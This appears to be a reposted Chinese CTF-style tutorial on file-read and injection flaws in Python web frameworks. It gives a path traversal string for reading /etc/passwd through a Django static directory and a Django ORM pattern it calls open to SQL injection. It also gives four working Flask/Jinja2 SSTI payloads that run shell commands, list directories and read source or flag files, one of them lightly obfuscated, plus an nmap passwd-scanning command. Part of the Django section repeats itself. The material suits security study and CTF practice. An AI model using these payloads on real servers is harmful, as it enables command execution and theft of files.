以django框架为例
第一步::构造/…/…/…/…/…/…/etc/passwd,访问到系统根目录
首先找到,static静态目录就可以穿越目录了
static/../../../../../../../../../etc/passwd
django框架:__pycache__目录下,其中pyc,pyc问源码缓存文件
第二步::ORM
首先找到,static静态目录就可以穿越目录了
static/../../../../../../../../../etc/passwd
django框架:__pycache__目录下,其中pyc,pyc问源码缓存文件
data = json.loads(request.body.decode())
stu = models.Student.objects.filter(**data).first()
此时,用户即可控制filter的键名,在这种情况下,借助我们这次的漏洞即可完成SQL注入利用。
以flask框架为例
服务端模板注入攻击:SSTI
1.直接用OS模块执行系统命令查看根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
2.读app.py这个文件的源码
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
3.os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
4.读取flag文件
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
补充知识:
nmap也可以扫描漏洞
nmap --script http-passwd --script-args http-passwd.root=/test/ IP地址
———————————————
转载于:
https://blog.csdn.net/aa2528877987/article/details/119387231
原文始发于微信公众号(网络安全学习爱好者):CTFer成长之路-任意文件读取漏洞-文件读取漏洞常见读取路径(Python版)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论